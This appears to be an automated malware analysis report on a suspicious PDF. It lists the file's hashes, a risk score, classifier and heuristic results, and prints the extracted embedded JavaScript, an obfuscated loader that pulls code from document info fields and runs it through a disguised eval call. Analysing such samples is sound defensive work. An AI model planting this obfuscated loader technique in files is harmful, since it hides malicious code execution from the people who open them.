PDF static analysis report

Static analysis result for SHA-256 04c9e882b38366d9…

SUSPICIOUS

PDF

9.5 KB First seen: 2013-02-03
MD5: 9246090853d9ea52a7b13a0a4240c863 SHA-1: 1186e174bcdc7893976b4fa70e4e3666bff11867 SHA-256: 04c9e882b38366d93b707fa926605c668f3ef724d1c3b6a6df612b1a50c7fabb
46 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript

The PDF document contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0011_000.js stream. The script attempts to manipulate document information fields and execute a dynamically constructed method, likely to download and execute a secondary payload. The ML classifier strongly flags this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 2

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x22BD 108 bytes
SHA-256: e3b8ed99dee109ed231cb155f11bd5b0c7b0d0de66095b5007a392b3f6a72126
Preview script
First 1,000 lines of the extracted script
m1=this.info.cduh;m2=m1.replace(/5qqq5/g,"");m9="val";m3=this.info.vfyg.concat(m9);        this[m3](m2);

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